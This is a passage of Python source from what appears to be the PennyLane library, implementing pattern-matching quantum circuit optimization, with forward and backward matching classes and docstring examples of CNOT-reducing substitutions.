dev)\n\n >>> print(qml.draw(optimized_qnode)())\n 0: ──S──Z─╭●────┤ \n 1: ──Z────╰Z─╭●─┤\n 2: ──Z───────╰Z─┤\n\n Now we can consider a more complicated example with the following quantum circuit to be optimized\n\n .. code-block:: python\n\n def circuit():\n qml.Toffoli(wires=[3, 4, 0])\n qml.CNOT(wires=[1, 4])\n qml.CNOT(wires=[2, 1])\n qml.Hadamard(wires=3)\n qml.PauliZ(wires=1)\n qml.CNOT(wires=[2, 3])\n qml.Toffoli(wires=[2, 3, 0])\n qml.CNOT(wires=[1, 4])\n return qml.expval(qml.PauliX(wires=0))\n\n We define a pattern that implement the identity:\n\n .. code-block:: python\n\n ops = [\n qml.CNOT(wires=[1, 2]),\n qml.CNOT(wires=[0, 1]),\n qml.CNOT(wires=[1, 2]),\n qml.CNOT(wires=[0, 1]),\n qml.CNOT(wires=[0, 2]),\n ]\n tape = qml.tape.QuantumTape(ops)\n\n For optimizing the circuit given the given following pattern of CNOTs we apply the `pattern_matching`\n transform.\n\n >>> dev = qml.device('default.qubit', wires=5)\n >>> qnode = qml.QNode(circuit, dev)\n >>> optimized_qfunc = pattern_matching_optimization(circuit, pattern_tapes=[pattern])\n >>> optimized_qnode = qml.QNode(optimized_qfunc, dev)\n\n In our case, it is possible to find three CNOTs and replace this pattern with only two CNOTs and therefore\n optimizing the circuit. The number of CNOTs in the circuit is reduced by one.\n\n >>> qml.specs(qnode)()[\"resources\"].gate_types[\"CNOT\"]\n 4\n\n >>> qml.specs(optimized_qnode)()[\"resources\"].gate_types[\"CNOT\"]\n 3\n\n >>> print(qml.draw(qnode)())\n 0: ─╭X──────────╭X────┤ \n 1: ─│──╭●─╭X──Z─│──╭●─┤\n 2: ─│──│──╰●─╭●─├●─│──┤\n 3: ─├●─│───H─╰X─╰●─│──┤\n 4: ─╰●─╰X──────────╰X─┤\n\n >>> print(qml.draw(optimized_qnode)())\n 0: ─╭X──────────╭X─┤ \n 1: ─│─────╭X──Z─│──┤\n 2: ─│──╭●─╰●─╭●─├●─┤\n 3: ─├●─│───H─╰X─╰●─┤\n 4: ─╰●─╰X──────────┤\n\n .. seealso:: :func:`~.pattern_matching`\n\n **Reference:**\n\n [1] Iten, R., Moyard, R., Metger, T., Sutter, D. and Woerner, S., 2022.\n Exact and practical pattern matching for quantum circuit optimization.\n `doi.org/10.1145/3498325 `_\n \"\"\"\n # pylint: disable=too-many-branches\n consecutive_wires = Wires(range(len(tape.wires)))\n inverse_wires_map = OrderedDict(zip(consecutive_wires, tape.wires))\n\n for pattern in pattern_tapes:\n # Check the validity of the pattern\n if not isinstance(pattern, QuantumScript):\n raise qml.QuantumFunctionError(\"The pattern is not a valid quantum tape.\")\n\n # Check that it does not contain a measurement.\n if pattern.measurements:\n raise qml.QuantumFunctionError(\"The pattern contains measurements.\")\n\n # Verify that the pattern is implementing the identity\n if not np.allclose(qml.matrix(pattern), np.eye(2**pattern.num_wires)):\n raise qml.QuantumFunctionError(\"Pattern is not valid, it does not implement identity.\")\n\n # Verify that the pattern has less qubits or same number of qubits\n if tape.num_wires < pattern.num_wires:\n raise qml.QuantumFunctionError(\"Circuit has less qubits than the pattern.\")\n\n # Construct Dag representation of the circuit and the pattern.\n circuit_dag = commutation_dag(tape)\n pattern_dag = commutation_dag(pattern)\n\n max_matches = pattern_matching(circuit_dag, pattern_dag)\n\n # Optimizes the circuit for compatible maximal matches\n if max_matches:\n # Initialize the optimization by substitution of the different matches\n substitution = TemplateSubstitution(\n max_matches, circuit_dag, pattern_dag, custom_quantum_cost\n )\n substitution.substitution()\n already_sub = []\n\n # If some substitutions are possible, we create an optimized circuit.\n if substitution.substitution_list:\n # Create a tape that does not affect the outside context.\n with qml.queuing.AnnotatedQueue() as q_inside:\n # Loop over all possible substitutions\n for group in substitution.substitution_list:\n circuit_sub = group.circuit_config\n template_inverse = group.template_config\n\n pred = group.pred_block\n\n # Choose the first configuration\n qubit = group.qubit_config[0]\n\n # First add all the predecessors of the given match.\n for elem in pred:\n node = circuit_dag.get_node(elem) # pylint: disable=no-member\n inst = copy.deepcopy(node.op)\n qml.apply(inst)\n already_sub.append(elem)\n\n already_sub = already_sub + circuit_sub\n\n # Then add the inverse of the template.\n for index in template_inverse:\n all_qubits = tape.wires.tolist()\n all_qubits.sort()\n wires_t = group.template_dag.get_node(index).wires\n wires_c = [qubit[x] for x in wires_t]\n wires = [all_qubits[x] for x in wires_c]\n\n node = group.template_dag.get_node(index)\n inst = copy.deepcopy(node.op)\n\n inst = qml.map_wires(inst, wire_map=dict(zip(inst.wires, wires)))\n adjoint(qml.apply, lazy=False)(inst)\n\n # Add the unmatched gates.\n for node_id in substitution.unmatched_list:\n node = circuit_dag.get_node(node_id) # pylint: disable=no-member\n inst = copy.deepcopy(node.op)\n qml.apply(inst)\n\n qscript = QuantumScript.from_queue(q_inside)\n tapes, fn = qml.map_wires(input=qscript, wire_map=inverse_wires_map)\n tape = fn(tapes)\n\n new_tape = type(tape)(tape.operations, tape.measurements, shots=tape.shots)\n\n def null_postprocessing(results):\n \"\"\"A postprocesing function returned by a transform that only converts the batch of results\n into a result for a single ``QuantumTape``.\n \"\"\"\n return results[0]\n\n return [new_tape], null_postprocessing\n\n\ndef pattern_matching(circuit_dag, pattern_dag):\n r\"\"\"Function that applies the pattern matching algorithm and returns the list of maximal matches.\n\n Args:\n circuit_dag (.CommutationDAG): A commutation DAG representing the circuit to be optimized.\n pattern_dag(.CommutationDAG): A commutation DAG representing the pattern.\n\n Returns:\n list(Match): the list of maximal matches.\n\n **Example**\n\n First let's consider the following circuit\n\n .. code-block:: python\n\n def circuit():\n qml.S(wires=0)\n qml.PauliZ(wires=0)\n qml.S(wires=1)\n qml.CZ(wires=[0, 1])\n qml.S(wires=1)\n qml.S(wires=2)\n qml.CZ(wires=[1, 2])\n qml.S(wires=2)\n return qml.expval(qml.PauliX(wires=0))\n\n Assume that we want to find all maximal matches of a pattern containing a sequence of two :class:`~.S` gates and\n a :class:`~.PauliZ` gate:\n\n .. code-block:: python\n\n def pattern():\n qml.S(wires=0)\n qml.S(wires=0)\n qml.PauliZ(wires=0)\n\n\n >>> circuit_dag = qml.commutation_dag(circuit)()\n >>> pattern_dag = qml.commutation_dag(pattern)()\n >>> all_max_matches = qml.pattern_matching(circuit_dag, pattern_dag)\n\n The matches are accessible by looping through the list outputted by ``qml.pattern_matching``. This output is a list\n of lists containing indices. Each list represents a match between a gate in the pattern with a gate in the circuit.\n The first indices represent the gates in the pattern and the second indices provide indices for the gates in the\n circuit (by order of appearance).\n\n >>> for match_conf in all_max_matches:\n ... print(match_conf.match)\n [[0, 0], [2, 1]]\n [[0, 2], [1, 4]]\n [[0, 4], [1, 2]]\n [[0, 5], [1, 7]]\n [[0, 7], [1, 5]]\n\n The first match of this list corresponds to match the first gate (:class:`~.S`) in the pattern with the first gate\n in the circuit and also the third gate in the pattern (:class:`~.PauliZ`) with the second circuit gate.\n\n .. seealso:: :func:`~.pattern_matching_optimization`\n\n **Reference:**\n\n [1] Iten, R., Moyard, R., Metger, T., Sutter, D. and Woerner, S., 2022.\n Exact and practical pattern matching for quantum circuit optimization.\n `doi.org/10.1145/3498325 `_\n\n \"\"\"\n # Match list\n match_list = []\n\n # Loop through all possible initial matches\n for node_c, node_p in itertools.product(circuit_dag.get_nodes(), pattern_dag.get_nodes()):\n # Initial matches between two identical gates (No qubits comparison)\n if _compare_operation_without_qubits(node_c[1], node_p[1]):\n # Fix qubits from the first (target fixed and control restrained)\n not_fixed_qubits_confs = _not_fixed_qubits(\n circuit_dag.num_wires, node_c[1].wires, pattern_dag.num_wires - len(node_p[1].wires)\n )\n\n # Loop over all possible qubits configurations given the first match constrains\n for not_fixed_qubits_conf in not_fixed_qubits_confs:\n for not_fixed_qubits_conf_permuted in itertools.permutations(not_fixed_qubits_conf):\n for first_match_qubits_conf in _first_match_qubits(\n node_c[1], node_p[1], pattern_dag.num_wires\n ):\n # Qubits mapping between circuit and pattern\n qubits_conf = _merge_first_match_and_permutation(\n first_match_qubits_conf, not_fixed_qubits_conf_permuted\n )\n # Update wires, target_wires, control_wires\n wires, target_wires, control_wires = _update_qubits(\n circuit_dag, qubits_conf\n )\n\n # Forward match part of the algorithm\n forward = ForwardMatch(\n circuit_dag,\n pattern_dag,\n node_c[0],\n node_p[0],\n wires,\n target_wires,\n control_wires,\n )\n forward.run_forward_match()\n\n # Backward match part of the algorithm\n backward = BackwardMatch(\n circuit_dag,\n pattern_dag,\n qubits_conf,\n forward.match,\n forward.circuit_matched_with,\n forward.circuit_blocked,\n forward.pattern_matched_with,\n node_c[0],\n node_p[0],\n wires,\n control_wires,\n target_wires,\n )\n backward.run_backward_match()\n\n _add_match(match_list, backward.match_final)\n\n match_list.sort(key=lambda x: len(x.match), reverse=True)\n\n # Extract maximal matches and optimizes the circuit for compatible maximal matches\n if match_list:\n maximal = MaximalMatches(match_list)\n maximal.run_maximal_matches()\n max_matches = maximal.max_match_list\n return max_matches\n\n return match_list\n\n\ndef _compare_operation_without_qubits(node_1, node_2):\n \"\"\"Compare two operations without taking the qubits into account.\n\n Args:\n node_1 (.CommutationDAGNode): First operation.\n node_2 (.CommutationDAGNode): Second operation.\n Return:\n Bool: True if similar operation (no qubits comparison) and False otherwise.\n \"\"\"\n return (node_1.op.name == node_2.op.name) and (node_1.op.data == node_2.op.data)\n\n\ndef _not_fixed_qubits(n_qubits_circuit, exclude, length):\n \"\"\"\n Function that returns all possible combinations of qubits given some restrictions and using itertools.\n Args:\n n_qubits_circuit (int): Number of qubit in the circuit.\n exclude (list): list of qubits from the first matched circuit operation that needs to be excluded.\n length (int): length of the list to be returned (number of qubits in pattern -\n number of qubits from the first matched operation).\n Yield:\n iterator: Iterator of the possible lists.\n \"\"\"\n circuit_range = range(0, n_qubits_circuit)\n for sublist in itertools.combinations([e for e in circuit_range if e not in exclude], length):\n yield list(sublist)\n\n\ndef _first_match_qubits(node_c, node_p, n_qubits_p):\n \"\"\"\n Returns the list of qubits for circuit given the first match, the unknown qubit are\n replaced by -1.\n Args:\n node_c (.CommutationDAGNode): First matched node in the circuit.\n node_p (.CommutationDAGNode): First matched node in the pattern.\n n_qubits_p (int): number of qubit in the pattern.\n Returns:\n list: list of qubits to consider in circuit (with specific order).\n \"\"\"\n # pylint: disable=too-many-branches\n control_base = {\n \"CNOT\": \"PauliX\",\n \"CZ\": \"PauliZ\",\n \"CCZ\": \"PauliZ\",\n \"CY\": \"PauliY\",\n \"CH\": \"Hadamard\",\n \"CSWAP\": \"SWAP\",\n \"Toffoli\": \"PauliX\",\n \"ControlledPhaseShift\": \"PhaseShift\",\n \"CRX\": \"RX\",\n \"CRY\": \"RY\",\n \"CRZ\": \"RZ\",\n \"CRot\": \"Rot\",\n \"MultiControlledX\": \"PauliX\",\n \"ControlledOperation\": \"ControlledOperation\",\n }\n\n first_match_qubits = []\n\n # Controlled gate\n if len(node_c.op.control_wires) >= 1:\n circuit_control = node_c.op.control_wires\n circuit_target = Wires([w for w in node_c.op.wires if w not in node_c.op.control_wires])\n # Not symmetric target gate or acting on 1 wire (target wires cannot be permuted) (For example Toffoli)\n if control_base[node_p.op.name] not in symmetric_over_all_wires:\n # Permute control\n for control_permuted in itertools.permutations(circuit_control):\n control_permuted = list(control_permuted)\n first_match_qubits_sub = [-1] * n_qubits_p\n for q in node_p.wires:\n node_circuit_perm = control_permuted + circuit_target\n first_match_qubits_sub[q] = node_circuit_perm[node_p.wires.index(q)]\n first_match_qubits.append(first_match_qubits_sub)\n # Symmetric target gate (target wires can be permuted) (For example CSWAP)\n else:\n for control_permuted in itertools.permutations(circuit_control):\n control_permuted = list(control_permuted)\n for target_permuted in itertools.permutations(circuit_target):\n target_permuted = list(target_permuted)\n first_match_qubits_sub = [-1] * n_qubits_p\n for q in node_p.wires:\n node_circuit_perm = control_permuted + target_permuted\n first_match_qubits_sub[q] = node_circuit_perm[node_p.wires.index(q)]\n first_match_qubits.append(first_match_qubits_sub)\n # Not controlled\n else:\n # Not symmetric gate (target wires cannot be permuted)\n if node_p.op.name not in symmetric_over_all_wires:\n first_match_qubits_sub = [-1] * n_qubits_p\n for q in node_p.wires:\n first_match_qubits_sub[q] = node_c.wires[node_p.wires.index(q)]\n first_match_qubits.append(first_match_qubits_sub)\n # Symmetric target gate (target wires cannot be permuted)\n else:\n for perm_q in itertools.permutations(node_c.wires):\n first_match_qubits_sub = [-1] * n_qubits_p\n for q in node_p.wires:\n first_match_qubits_sub[q] = perm_q[node_p.wires.index(q)]\n first_match_qubits.append(first_match_qubits_sub)\n return first_match_qubits\n\n\ndef _merge_first_match_and_permutation(list_first_match, permutation):\n \"\"\"\n Function that returns the final qubits configuration given the first match constraints and the permutation of\n qubits not in the first match.\n\n Args:\n list_first_match (list): list of qubits indices for the first match.\n permutation (list): possible permutation for the circuit qubits not in the first match.\n\n Returns:\n list: list of circuit qubits for the given permutation and constraints from the initial match.\n \"\"\"\n list_circuit = []\n\n counter = 0\n\n for elem in list_first_match:\n if elem == -1:\n list_circuit.append(permutation[counter])\n counter = counter + 1\n else:\n list_circuit.append(elem)\n\n return list_circuit\n\n\ndef _update_qubits(circuit_dag, qubits_conf):\n \"\"\"\n Update the qubits, target qubits and the control qubits given the mapping configuration between the circuit\n and the pattern.\n\n Args:\n circuit_dag (.CommutationDAG): the DAG representation of the circuit.\n qubits_conf (list): list of qubits of the mapping configuration.\n Return:\n list(list(int)): Wires\n list(list(int)): Target wires\n list(list(int)): Control wires\n \"\"\"\n # pylint: disable=too-many-arguments\n wires = []\n control_wires = []\n target_wires = []\n\n for i, node in enumerate(circuit_dag.get_nodes()):\n # Wires\n wires.append([])\n for q in node[1].wires:\n if q in qubits_conf:\n wires[i].append(qubits_conf.index(q))\n if len(node[1].wires) != len(wires[i]):\n wires[i] = []\n\n # Control wires\n control_wires.append([])\n for q in node[1].control_wires:\n if q in qubits_conf:\n control_wires[i].append(qubits_conf.index(q))\n if len(node[1].control_wires) != len(control_wires[i]):\n control_wires[i] = []\n\n # Target wires\n target_wires.append([])\n for q in node[1].target_wires:\n if q in qubits_conf:\n target_wires[i].append(qubits_conf.index(q))\n if len(node[1].target_wires) != len(target_wires[i]):\n target_wires[i] = []\n\n return wires, target_wires, control_wires\n\n\ndef _add_match(match_list, backward_match_list):\n \"\"\"\n Add a match configuration found by pattern matching if it is not already in final list of matches.\n If the match is already in the final list, the qubit configuration is added to the existing Match.\n Args:\n match_list (list): match from the backward part of the algorithm.\n backward_match_list (list): List of matches found by the algorithm for a given configuration.\n \"\"\"\n\n already_in = False\n\n for b_match in backward_match_list:\n for l_match in match_list:\n if b_match.match == l_match.match:\n index = match_list.index(l_match)\n match_list[index].qubit.append(b_match.qubit[0])\n already_in = True\n\n if not already_in:\n match_list.append(b_match)\n\n\ndef _compare_qubits(node1, wires1, control1, target1, wires2, control2, target2):\n \"\"\"Compare the qubit configurations of two operations. The operations are supposed to be similar up to their\n qubits configuration.\n Args:\n node1 (.CommutationDAGNode): First node.\n wires1 (list(int)): Wires of the first node.\n control1 (list(int)): Control wires of the first node.\n target1 (list(int)): Target wires of the first node.\n wires2 (list(int)): Wires of the second node.\n control2 (list(int)): Control wires of the second node.\n target2 (list(int)): Target wires of the second node.\n \"\"\"\n # pylint: disable=too-many-instance-attributes, too-many-arguments\n\n control_base = {\n \"CNOT\": \"PauliX\",\n \"CZ\": \"PauliZ\",\n \"CY\": \"PauliY\",\n \"CSWAP\": \"SWAP\",\n \"Toffoli\": \"PauliX\",\n \"ControlledPhaseShift\": \"PhaseShift\",\n \"CRX\": \"RX\",\n \"CRY\": \"RY\",\n \"CRZ\": \"RZ\",\n \"CRot\": \"Rot\",\n \"MultiControlledX\": \"PauliX\",\n \"ControlledOperation\": \"ControlledOperation\",\n }\n\n if control1 and set(control1) == set(control2):\n if control_base[node1.op.name] in symmetric_over_all_wires and set(target1) == set(target2):\n return True\n if target1 == target2:\n return True\n else:\n if node1.op.name in symmetric_over_all_wires and set(wires1) == set(wires2):\n return True\n if wires1 == wires2:\n return True\n return False\n\n\nclass ForwardMatch: # pylint: disable=too-many-instance-attributes,too-few-public-methods\n \"\"\"\n Class to apply pattern matching in the forward direction.\n \"\"\"\n\n def __init__(\n self, circuit_dag, pattern_dag, node_id_c, node_id_p, wires, control_wires, target_wires\n ):\n \"\"\"\n Create the ForwardMatch class.\n Args:\n circuit_dag (.CommutationDAG): circuit as commutation DAG.\n pattern_dag (.CommutationDAG): pattern as commutation DAG.\n node_id_c (int): index of the first gate matched in the circuit.\n node_id_p (int): index of the first gate matched in the pattern.\n \"\"\"\n # pylint: disable=too-many-branches, too-many-arguments\n\n # Commutation DAG of the circuit\n self.circuit_dag = circuit_dag\n\n # Commutation DAG of the pattern\n self.pattern_dag = pattern_dag\n\n # Node ID in the circuit\n self.node_id_c = node_id_c\n\n # Node ID in the pattern\n self.node_id_p = node_id_p\n\n # List of mapped wires for each node\n self.wires = wires\n\n # List of mapped control wires for each node\n self.control_wires = control_wires\n\n # List of mapped target wires for each node\n self.target_wires = target_wires\n\n # Successors to visit\n self.successors_to_visit = [None] * circuit_dag.size\n\n # Blocked nodes in the circuit\n self.circuit_blocked = [None] * circuit_dag.size\n\n # Matched nodes circuit\n self.circuit_matched_with = [None] * circuit_dag.size\n\n # Matched nodes pattern\n self.pattern_matched_with = [None] * pattern_dag.size\n\n # Updated qubits for each node\n self.updated_qubits = []\n\n # List of match\n self.match = []\n\n # List of candidates for the forward match\n self.candidates = []\n\n # List of nodes in circuit which are matched\n self.matched_nodes_list = []\n\n def _init_successors_to_visit(self):\n \"\"\"\n Initialize the list of successors to visit.\n \"\"\"\n for i in range(0, self.circuit_dag.size):\n if i == self.node_id_c:\n self.successors_to_visit[i] = self.circuit_dag.direct_successors(i)\n else:\n self.successors_to_visit[i] = []\n\n def _init_matched_with_circuit(self):\n \"\"\"\n Initialize the list of corresponding matches in the pattern for the circuit.\n \"\"\"\n for i in range(0, self.circuit_dag.size):\n if i == self.node_id_c:\n self.circuit_matched_with[i] = [self.node_id_p]\n else:\n self.circuit_matched_with[i] = []\n\n def _init_matched_with_pattern(self):\n \"\"\"\n Initialize the list of corresponding matches in the circuit for the pattern.\n \"\"\"\n for i in range(0, self.pattern_dag.size):\n if i == self.node_id_p:\n self.pattern_matched_with[i] = [self.node_id_c]\n else:\n self.pattern_matched_with[i] = []\n\n def _init_is_blocked_circuit(self):\n \"\"\"\n Initialize the list of blocked nodes in the circuit.\n \"\"\"\n for i in range(0, self.circuit_dag.size):\n self.circuit_blocked[i] = False\n\n def _init_list_match(self):\n \"\"\"\n Initialize the list of matched nodes between the circuit and the pattern with the first match found.\n \"\"\"\n self.match.append([self.node_id_p, self.node_id_c])\n\n def _find_forward_candidates(self, node_id_p):\n \"\"\"Find the candidate nodes to be matched in the pattern for a given node in the pattern.\n Args:\n node_id_p (int): Node ID in pattern.\n \"\"\"\n matches = [i[0] for i in self.match]\n\n pred = matches.copy()\n\n if len(pred) > 1:\n pred.sort()\n pred.remove(node_id_p)\n\n if self.pattern_dag.direct_successors(node_id_p):\n maximal_index = self.pattern_dag.direct_successors(node_id_p)[-1]\n for elem in pred:\n if elem > maximal_index:\n pred.remove(elem)\n\n block = []\n for node_id in pred:\n for dir_succ in self.pattern_dag.direct_successors(node_id):\n if dir_succ not in matches:\n succ = self.pattern_dag.successors(dir_succ)\n block = block + succ\n self.candidates = list(\n set(self.pattern_dag.direct_successors(node_id_p)) - set(matches) - set(block)\n )\n\n def _init_matched_nodes(self):\n \"\"\"\n Initialize the list of current matched nodes.\n \"\"\"\n self.matched_nodes_list.append(\n [\n self.node_id_c,\n self.circuit_dag.get_node(self.node_id_c),\n self.successors_to_visit[self.node_id_c],\n ]\n )\n\n def _get_node_forward(self, list_id):\n \"\"\"\n Return node and successors from the matched_nodes_list for a given ID.\n Args:\n list_id (int): considered list id of the desired node.\n Returns:\n CommutationDAGNode: Node from the matched_node_list.\n list(int): List of successors.\n \"\"\"\n node = self.matched_nodes_list[list_id][1]\n succ = self.matched_nodes_list[list_id][2]\n return node, succ\n\n def _remove_node_forward(self, list_id):\n \"\"\"Remove a node of the current matched_nodes_list for a given ID.\n Args:\n list_id (int): considered list id of the desired node.\n \"\"\"\n self.matched_nodes_list.pop(list_id)\n\n def run_forward_match(self):\n \"\"\"Apply the forward match algorithm and returns the list of matches given an initial match\n and a qubits configuration.\n \"\"\"\n # pylint: disable=too-many-branches,too-many-nested-blocks\n\n # Initialization\n self._init_successors_to_visit()\n self._init_matched_with_circuit()\n self._init_matched_with_pattern()\n self._init_is_blocked_circuit()\n\n # Initialize the list of matches and the stack of matched nodes (circuit)\n self._init_list_match()\n self._init_matched_nodes()\n\n # While the list of matched nodes is not empty\n while self.matched_nodes_list:\n # Return first element of the matched_nodes_list and removes it from the list\n v_first, successors_to_visit = self._get_node_forward(0)\n self._remove_node_forward(0)\n\n # If there is no successors to visit go to the end\n if not successors_to_visit:\n continue\n\n # Get the label and the node of the first successor to visit\n label = successors_to_visit[0]\n v = [label, self.circuit_dag.get_node(label)]\n\n # Update of the successors to visit.\n successors_to_visit.pop(0)\n\n # Update the matched_nodes_list with new attribute successor to visit and sort the list.\n self.matched_nodes_list.append([v_first.node_id, v_first, successors_to_visit])\n self.matched_nodes_list.sort(key=lambda x: x[2])\n\n # If the node is blocked and already matched go to the end\n if self.circuit_blocked[v[0]] | (self.circuit_matched_with[v[0]] != []):\n continue\n\n # Search for potential candidates in the pattern\n self._find_forward_candidates(self.circuit_matched_with[v_first.node_id][0])\n\n match = False\n\n # For loop over the candidates from the pattern to find a match.\n for i in self.candidates:\n # Break the for loop if a match is found.\n if match:\n break\n\n node_circuit = self.circuit_dag.get_node(label)\n node_pattern = self.pattern_dag.get_node(i)\n\n # Necessary but not sufficient conditions for a match to happen.\n if (\n len(self.wires[label]) != len(node_pattern.wires)\n or set(self.wires[label]) != set(node_pattern.wires)\n or node_circuit.op.name != node_pattern.op.name\n ):\n continue\n\n # Compare two operations\n if _compare_operation_without_qubits(node_circuit, node_pattern):\n if _compare_qubits(\n node_circuit,\n self.wires[label],\n self.target_wires[label],\n self.control_wires[label],\n node_pattern.wires,\n node_pattern.control_wires,\n node_pattern.target_wires,\n ):\n # A match happens\n self.circuit_matched_with[label] = [i]\n self.pattern_matched_with[i] = [label]\n\n # Append the new match to the list of matches.\n self.match.append([i, label])\n\n # Potential successors to visit (circuit) for a given match.\n potential = self.circuit_dag.direct_successors(label)\n\n # If the potential successors to visit are blocked or match, it is removed.\n for potential_id in potential:\n if self.circuit_blocked[potential_id] | (\n self.circuit_matched_with[potential_id] != []\n ):\n potential.remove(potential_id)\n\n sorted_potential = sorted(potential)\n\n # Update the successor to visit attribute\n successorstovisit = sorted_potential\n\n # Add the updated node to the stack.\n self.matched_nodes_list.append([v[0], v[1], successorstovisit])\n self.matched_nodes_list.sort(key=lambda x: x[2])\n match = True\n continue\n\n # If no match is found, block the node and all the successors.\n if not match:\n self.circuit_blocked[label] = True\n for succ in v[1].successors:\n self.circuit_blocked[succ] = True\n\n\nclass Match: # pylint: disable=too-few-public-methods\n \"\"\"\n Object to represent a match and its qubits configurations.\n \"\"\"\n\n def __init__(self, match, qubit):\n \"\"\"Create a Match class with necessary arguments.\n Args:\n match (list): list of matched gates.\n qubit (list): list of qubits configuration.\n \"\"\"\n # Match list\n self.match = match\n # Qubits list for circuit\n if any(isinstance(el, list) for el in qubit):\n self.qubit = qubit\n else:\n self.qubit = [qubit]\n\n\nclass MatchingScenarios: # pylint: disable=too-few-public-methods\n \"\"\"\n Class to represent a matching scenario in the Backward part of the algorithm.\n \"\"\"\n\n def __init__(\n self, circuit_matched, circuit_blocked, pattern_matched, pattern_blocked, matches, counter\n ):\n \"\"\"Create a MatchingScenarios class for the Backward match.\n Args:\n circuit_matched (list): list representing the matched gates in the circuit.\n circuit_blocked (list): list representing the blocked gates in the circuit.\n pattern_matched (list): list representing the matched gates in the pattern.\n pattern_blocked (list): list representing the blocked gates in the pattern.\n matches (list): list of matches.\n counter (int): counter of the number of circuit gates already considered.\n \"\"\"\n # pylint: disable=too-many-arguments\n\n self.circuit_matched = circuit_matched\n self.pattern_matched = pattern_matched\n self.circuit_blocked = circuit_blocked\n self.pattern_blocked = pattern_blocked\n self.matches = matches\n self.counter = counter\n\n\nclass MatchingScenariosList:\n \"\"\"\n Object to define a list of MatchingScenarios, with method to append\n and pop elements.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Create an empty MatchingScenariosList.\n \"\"\"\n self.matching_scenarios_list = []\n\n def append_scenario(self, matching):\n \"\"\"\n Append a scenario to the list.\n Args:\n matching (MatchingScenarios): a scenario of match.\n \"\"\"\n self.matching_scenarios_list.append(matching)\n\n def pop_scenario(self):\n \"\"\"\n Pop the first scenario of the list.\n Returns:\n MatchingScenarios: a scenario of match.\n \"\"\"\n # Pop the first MatchingScenario and returns it\n first = self.matching_scenarios_list[0]\n self.matching_scenarios_list.pop(0)\n return first\n\n\nclass BackwardMatch: # pylint: disable=too-many-instance-attributes, too-few-public-methods\n \"\"\"\n Class BackwardMatch allows to run backward direction part of the pattern matching algorithm.\n \"\"\"\n\n def __init__(\n self,\n circuit_dag,\n pattern_dag,\n qubits_conf,\n forward_matches,\n circuit_matched,\n circuit_blocked,\n pattern_matched,\n node_id_c,\n node_id_p,\n wires,\n control_wires,\n target_wires,\n ):\n \"\"\"\n Create a ForwardMatch class with necessary arguments.\n Args:\n circuit_dag (DAGDependency): circuit in the dag dependency form.\n pattern_dag (DAGDependency): pattern in the dag dependency form.\n forward_matches (list): list of match obtained in the forward direction.\n node_id_c (int): index of the first gate matched in the circuit.\n node_id_p (int): index of the first gate matched in the pattern.\n wires (list):\n control_wires (list):\n target_wires (list):\n \"\"\"\n # pylint: disable=too-many-arguments\n\n self.circuit_dag = circuit_dag\n self.pattern_dag = pattern_dag\n self.circuit_matched = circuit_matched\n self.circuit_blocked = circuit_blocked\n self.pattern_matched = pattern_matched\n self.qubits_conf = qubits_conf\n self.wires = wires\n self.control_wires = control_wires\n self.target_wires = target_wires\n self.node_id_c = node_id_c\n self.node_id_p = node_id_p\n self.forward_matches = forward_matches\n self.match_final = []\n self.matching_list = MatchingScenariosList()\n\n def _find_backward_candidates(self, pattern_blocked, matches):\n \"\"\"Function which returns the list possible backward candidates in the pattern dag.\n Args:\n pattern_blocked (list(bool)): list of blocked nodes in the pattern circuit.\n matches (list(int)): list of matches.\n Returns:\n list(int): list of backward candidates ID.\n \"\"\"\n pattern_block = []\n\n for node_id in range(self.node_id_p, self.pattern_dag.size):\n if pattern_blocked[node_id]:\n pattern_block.append(node_id)\n\n matches_pattern = sorted(match[0] for match in matches)\n\n successors = self.pattern_dag.get_node(self.node_id_p).successors\n potential = []\n for index in range(self.node_id_p + 1, self.pattern_dag.size):\n if (index not in successors) and (index not in pattern_block):\n potential.append(index)\n\n candidates_indices = list(set(potential) - set(matches_pattern))\n candidates_indices = sorted(candidates_indices)\n candidates_indices.reverse()\n\n return candidates_indices\n\n def run_backward_match(self):\n \"\"\"Run the backward match algorithm and returns the list of matches given an initial match, a forward\n scenario and a circuit qubits configuration.\n \"\"\"\n # pylint: disable=too-many-branches,too-many-statements,too-many-nested-blocks\n match_store_list = []\n\n counter = 1\n\n # Initialize the blocked pattern list\n pattern_blocked = [False] * self.pattern_dag.size\n\n # First Scenario is stored in the MatchingScenariosList().\n first_match = MatchingScenarios(\n self.circuit_matched,\n self.circuit_blocked,\n self.pattern_matched,\n pattern_blocked,\n self.forward_matches,\n counter,\n )\n\n self.matching_list = MatchingScenariosList()\n self.matching_list.append_scenario(first_match)\n\n # Set the circuit indices that can be matched.\n gate_indices = _gate_indices(self.circuit_matched, self.circuit_blocked)\n\n number_of_gate_to_match = (\n self.pattern_dag.size - (self.node_id_p - 1) - len(self.forward_matches)\n )\n\n # While the scenario stack is not empty.\n while self.matching_list.matching_scenarios_list:\n scenario = self.matching_list.pop_scenario()\n\n circuit_matched = scenario.circuit_matched\n circuit_blocked = scenario.circuit_blocked\n pattern_matched = scenario.pattern_matched\n pattern_blocked = scenario.pattern_blocked\n matches_scenario = scenario.matches\n counter_scenario = scenario.counter\n\n # Part of the match list coming from the backward match.\n match_backward = [\n match for match in matches_scenario if match not in self.forward_matches\n ]\n\n # Matches are stored\n if (\n counter_scenario > len(gate_indices)\n or len(match_backward) == number_of_gate_to_match\n ):\n matches_scenario.sort(key=lambda x: x[0])\n match_store_list.append(Match(matches_scenario, self.qubits_conf))\n continue\n\n # First circuit candidate.\n circuit_id = gate_indices[counter_scenario - 1]\n node_circuit = self.circuit_dag.get_node(circuit_id)\n\n # If the circuit candidate is blocked, only the counter is changed.\n if circuit_blocked[circuit_id]:\n matching_scenario = MatchingScenarios(\n circuit_matched,\n circuit_blocked,\n pattern_matched,\n pattern_blocked,\n matches_scenario,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(matching_scenario)\n continue\n\n # The backward candidates in the pattern.\n candidates_indices = self._find_backward_candidates(pattern_blocked, matches_scenario)\n\n # Get the different wires variables\n wires1 = self.wires[circuit_id]\n control_wires1 = self.control_wires[circuit_id]\n target_wires1 = self.target_wires[circuit_id]\n\n global_match = False\n global_broken = []\n\n # Loop over the pattern candidates.\n for pattern_id in candidates_indices:\n node_pattern = self.pattern_dag.get_node(pattern_id)\n wires2 = self.pattern_dag.get_node(pattern_id).wires\n control_wires2 = self.pattern_dag.get_node(pattern_id).control_wires\n target_wires2 = self.pattern_dag.get_node(pattern_id).target_wires\n\n # Necessary but not sufficient conditions for a match to happen.\n if (\n len(wires1) != len(wires2)\n or set(wires1) != set(wires2)\n or node_circuit.op.name != 